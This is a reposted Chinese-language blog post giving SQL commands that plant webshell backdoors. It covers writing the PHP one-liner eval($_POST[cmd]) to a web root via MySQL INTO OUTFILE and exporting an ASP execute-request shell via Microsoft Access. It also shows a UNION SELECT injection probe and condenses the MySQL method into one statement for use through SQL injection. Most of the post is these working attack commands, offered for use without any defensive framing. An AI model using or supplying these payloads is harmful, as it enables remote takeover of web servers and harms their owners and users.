MySQL/ACCESS匯出一句話拿WebShell後門命令

來源:互聯網
上載者:User

標籤:file   create   

MySQL:

Drop TABLE IF EXISTS temp; //如果存在temp就刪掉
Create TABLE temp(cmd text NOT NULL); //建立temp表,裡面就一個cmd欄位
Insert INTO temp (cmd) VALUES(<? php eval($_POST[cmd]);?>); //把一句話木馬插入到temp表
Select cmd from temp into out file F:/wwwroot/eval.php; //查詢temp表中的一句話並把結果匯入到eval.php
Drop TABLE IF EXISTS temp; //刪除temp(擦屁股o(∩_∩)o...)

這幾句SQL很簡單,我做了簡單的注釋。
不過想想我們在測試PHP的SQL漏洞的時候經常用如下的語句:

/**/UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12/*

然後返回的頁面中可能會出現1~12之間的數字。這裡加入數字3顯示出來了。
如果我們把上面這句改成/**/UNION SELECT 1,2,zerosoul,4,5,6,7,8,9,10,11,12/*,則返回頁面上次顯示3的地方會顯示zerosoul。
也就是說如果我們的select語句後面不帶from table語句的話,我們說查詢的數字或字元會直接返回到查詢結果裡。


既然這樣,我們為何還要那麼麻煩去建一個表,先匯入資料,再匯出這樣折騰呢。

有了這個思路,上面那一大段到出一句話的SQL代碼可以直接簡化到一句:

Select <? php eval($_POST[cmd]);?> into outfile F:/wwwroot/eval.php;

這樣做不但簡單明了,而且避免了誤刪別人的資料。


ACCESS:

create table cmd (a varchar(50))
insert into cmd (a) values (‘<%execute request("s")%>‘)
select * into [a] in ‘E:\wz\ysnews1\a.asp;.xls‘ ‘excel 4.0;‘ from cmd
drop table cmd

本文出自 “tree's blog” 部落格,請務必保留此出處http://shuzi.blog.51cto.com/3685900/1594053

MySQL/ACCESS匯出一句話拿WebShell後門命令

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.